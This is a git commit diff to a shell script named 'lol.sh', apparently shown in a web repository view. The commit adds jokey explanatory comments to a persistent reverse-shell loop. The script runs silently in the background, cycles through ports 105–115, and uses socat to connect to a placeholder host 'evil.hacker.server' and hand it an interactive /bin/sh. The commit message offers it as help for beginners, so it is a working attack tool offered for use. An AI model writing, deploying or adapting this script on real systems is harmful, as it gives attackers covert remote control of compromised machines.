Update 'lol.sh'
i have no idea why i'm doing this i could have made like an actual script with the amount of time i've spent making a git and writing comments - i hope this helps some aspiring computer wizard
This commit is contained in:
parent
aa01e60c04
commit
c3c4d7df77
48
lol.sh
48
lol.sh
@ -1,28 +1,28 @@
|
|||||||
# idk man it like runs in the background and
|
######Config#### #/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\#
|
||||||
# like pops shells or some shit
|
STARTPORT=105 # ->BABBYS FIRST REVERSE SHELL FACTORY<- #
|
||||||
# and cycles up through ports
|
ENDPORT=115 #/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\#
|
||||||
|
TIMEOUT=90 # +RUNS ON YOUR GRANDMAS BLENDER #
|
||||||
|
HOST=evil.hacker.server # +HACKS YOUR EXES FACEBOOK #
|
||||||
|
################ # +MAKES YOU THE LEADER OF ANONYMOUS #
|
||||||
|
##########################################
|
||||||
|
|
||||||
# it works on like routers or whatever
|
PORT=$STARTPORT # initialize port cycling variable
|
||||||
# you need socat and stuff
|
|
||||||
|
|
||||||
######Config####
|
|
||||||
STARTPORT=105
|
|
||||||
ENDPORT=115
|
|
||||||
TIMEOUT=90
|
|
||||||
HOST=evil.hacker.server
|
|
||||||
################
|
|
||||||
PORT=$STARTPORT
|
|
||||||
while true;
|
while true;
|
||||||
do
|
do
|
||||||
find /tmp/ -iname "*.prt" -exec rm {} \;
|
find /tmp/ -iname "*.prt" -exec rm {} \; # clean up old any old files we left
|
||||||
if [[ $PORT != $MAXPORT ]]
|
|
||||||
then
|
|
||||||
PORT=$((PORT+1))
|
|
||||||
else
|
|
||||||
PORT=$STARTPORT
|
|
||||||
fi
|
|
||||||
touch /tmp/a${PORT}.prt
|
|
||||||
sleep 8
|
|
||||||
/tmp/socat -T ${TIMEOUT} tcp-connect:${HOST}:${PORT} exec:/bin/sh,pty,stderr,setsid,sigint,sane;
|
|
||||||
done &>/dev/null&
|
|
||||||
|
|
||||||
|
if [[ $PORT != $MAXPORT ]] then # ratchet destination ports when socat times out
|
||||||
|
PORT=$((PORT+1)) else # or when you smash CTRL+C on a tty b/c computers are hard
|
||||||
|
PORT=$STARTPORT # once we hit $ENDPORT we reset to $STARTPORT
|
||||||
|
fi
|
||||||
|
|
||||||
|
touch /tmp/a${PORT}.prt # provide a simple simple and generic status/port indicator
|
||||||
|
sleep 8 # '-> NOTE: made sense at the time but is probably a bad idea
|
||||||
|
############################################################
|
||||||
|
|
||||||
|
|
||||||
|
/tmp/socat -T ${TIMEOUT} tcp-connect:${HOST}:${PORT} \ # why socat? binaries for everything, 0 overhead
|
||||||
|
exec:/bin/sh,pty,stderr,setsid,sigint,sane; # easier to acquire a pty (if env allows) vs nc
|
||||||
|
|
||||||
|
|
||||||
|
done &>/dev/null& # suppress all console output and run in the background
|
||||||
|
Loading…
Reference in New Issue
Block a user